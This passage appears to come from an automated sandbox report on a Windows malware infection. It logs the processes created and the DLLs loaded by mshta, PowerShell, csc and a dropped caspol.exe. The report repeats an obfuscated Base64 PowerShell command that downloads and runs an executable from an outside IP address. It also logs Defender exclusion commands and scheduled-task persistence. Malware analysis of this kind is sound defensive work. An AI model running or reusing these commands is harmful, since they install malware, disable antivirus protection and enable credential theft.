ICAgICAgICAgICAiJEVOVjpBUFBEQVRBXGNhc3BvbC5leGUi'+[cHaR]0X22+'))')))"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EX bYpAss -nOP -W 1 -c DeViCecReDenTIaldEpLOyment
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\zpwvvpvf\zpwvvpvf.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESB0AA.tmp" "c:\Users\user\AppData\Local\Temp\zpwvvpvf\CSC31AA5FCDA54445E088EDA110AE3BEBC4.TMP"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\caspol.exe "C:\Users\user\AppData\Roaming\caspol.exe"
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\caspol.exe"
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe"
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\rrwscqkDSNwLK" /XML "C:\Users\user\AppData\Local\Temp\tmp1F44.tmp"
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process created: C:\Users\user\AppData\Roaming\caspol.exe "C:\Users\user\AppData\Roaming\caspol.exe"
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\sYStem32\wInDOwSPOweRsheLl\v1.0\pOweRShelL.EXe" "PoWeRSheLL.ExE -EX bYpAss -nOP -W 1 -c DeViCecReDenTIaldEpLOyment ; iEx($(iEX('[SysteM.TExT.encODInG]'+[cHAR]58+[cHAR]58+'UTF8.GEtSTrINg([sysTem.cOnVERT]'+[cHAR]58+[chAr]58+'FrOMbASe64StrIng('+[chAR]34+'JG56dWNGVUF3ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10WVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lbWJlUkRFRklOaVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbU9OIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWlBudFZzUmhBaCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBNeWpwcUlrUXdEYixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB1alFRcFNYb0lXeSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhWXlwdmx5a3BlKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZFhHTSIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFNRVNwYUNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV1BmVyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbnp1Y0ZVQXc6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4yNDMuMTM2LzU1L2Nhc3BvbC5leGUiLCIkZU52OkFQUERBVEFcY2FzcG9sLmV4ZSIsMCwwKTtzVGFyVC1TbGVlUCgzKTtpZXggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOVjpBUFBEQVRBXGNhc3BvbC5leGUi'+[cHaR]0X22+'))')))"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EX bYpAss -nOP -W 1 -c DeViCecReDenTIaldEpLOyment	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\i4ik0bio\i4ik0bio.cmdline"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\caspol.exe "C:\Users\user\AppData\Roaming\caspol.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES37A5.tmp" "c:\Users\user\AppData\Local\Temp\i4ik0bio\CSCA15BDDDB4364D65A645793B6780D1C5.TMP"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\caspol.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\rrwscqkDSNwLK" /XML "C:\Users\user\AppData\Local\Temp\tmpAAE0.tmp"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process created: C:\Users\user\AppData\Roaming\caspol.exe "C:\Users\user\AppData\Roaming\caspol.exe"	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process created: unknown unknown
Source: C:\Windows\System32\taskeng.exe	Process created: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe
Source: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe"
Source: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe"
Source: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\rrwscqkDSNwLK" /XML "C:\Users\user\AppData\Local\Temp\tmpDCB9.tmp"
Source: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe	Process created: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe "C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe"
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\sYStem32\wInDOwSPOweRsheLl\v1.0\pOweRShelL.EXe" "PoWeRSheLL.ExE -EX bYpAss -nOP -W 1 -c DeViCecReDenTIaldEpLOyment ; iEx($(iEX('[SysteM.TExT.encODInG]'+[cHAR]58+[cHAR]58+'UTF8.GEtSTrINg([sysTem.cOnVERT]'+[cHAR]58+[chAr]58+'FrOMbASe64StrIng('+[chAR]34+'JG56dWNGVUF3ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10WVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lbWJlUkRFRklOaVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbU9OIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWlBudFZzUmhBaCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBNeWpwcUlrUXdEYixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB1alFRcFNYb0lXeSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhWXlwdmx5a3BlKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZFhHTSIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFNRVNwYUNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV1BmVyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbnp1Y0ZVQXc6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4yNDMuMTM2LzU1L2Nhc3BvbC5leGUiLCIkZU52OkFQUERBVEFcY2FzcG9sLmV4ZSIsMCwwKTtzVGFyVC1TbGVlUCgzKTtpZXggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOVjpBUFBEQVRBXGNhc3BvbC5leGUi'+[cHaR]0X22+'))')))"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EX bYpAss -nOP -W 1 -c DeViCecReDenTIaldEpLOyment
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\zpwvvpvf\zpwvvpvf.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\caspol.exe "C:\Users\user\AppData\Roaming\caspol.exe"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESB0AA.tmp" "c:\Users\user\AppData\Local\Temp\zpwvvpvf\CSC31AA5FCDA54445E088EDA110AE3BEBC4.TMP"
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\caspol.exe"
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe"
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\rrwscqkDSNwLK" /XML "C:\Users\user\AppData\Local\Temp\tmp1F44.tmp"
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process created: C:\Users\user\AppData\Roaming\caspol.exe "C:\Users\user\AppData\Roaming\caspol.exe"

Source: C:\Windows\System32\mshta.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: credssp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\caspol.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\caspol.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\caspol.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\caspol.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\caspol.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\caspol.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\caspol.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\caspol.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\caspol.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\caspol.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\caspol.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\caspol.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\caspol.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\caspol.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: ktmw32.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\caspol.exe	Section loaded: wow64win.dll
Source: C:\Users\user\AppData\Roaming\caspol.exe	Section loaded: wow64cpu.dll
Source: C:\Users\user\AppData\Roaming\caspol.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\caspol.exe	Section loaded: mozglue.dll
Source: C:\Users\user\AppData\Roaming\caspol.exe	Section loaded: dbghelp.dll
Source: C:\Users\user\AppData\Roaming\caspol.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\caspol.exe	Section loaded: msvcp140.dll
Source: C:\Users\user\AppData\Roaming\caspol.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\AppData\Roaming\caspol.exe	Section loaded: ucrtbase.dll
Source: C:\Users\user\AppData\Roaming\caspol.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Roaming\caspol.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Roaming\caspol.exe	Section loaded: vaultcli.dll
Source: C:\Users\user\AppData\Roaming\caspol.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Roaming\caspol.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Roaming\caspol.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Roaming\caspol.exe	Section loaded: wkscli.dll
Source: C:\Users\user\AppData\Roaming\caspol.exe	Section loaded: samcli.dll
Source: C:\Users\user\AppData\Roaming\caspol.exe	Section loaded: samlib.dll
Source: C:\Users\user\AppData\Roaming\caspol.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Roaming\caspol.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\taskeng.exe	Section loaded: ktmw32.dll
Source: C:\Windows\System32\taskeng.exe	Section loaded: wevtapi.dll
Source: C:\Windows\System32\taskeng.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\taskeng.exe	Section loaded: rpcrtremote.dll
Source: C:\Windows\System32\taskeng.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\taskeng.exe	Section loaded: dwmapi.dll
Source: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe	Section loaded: wow64win.dll
Source: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe	Section loaded: wow64cpu.dll
Source: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe	Section loaded: bcrypt.dll
Source: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe	Section loaded: cryptsp.dll
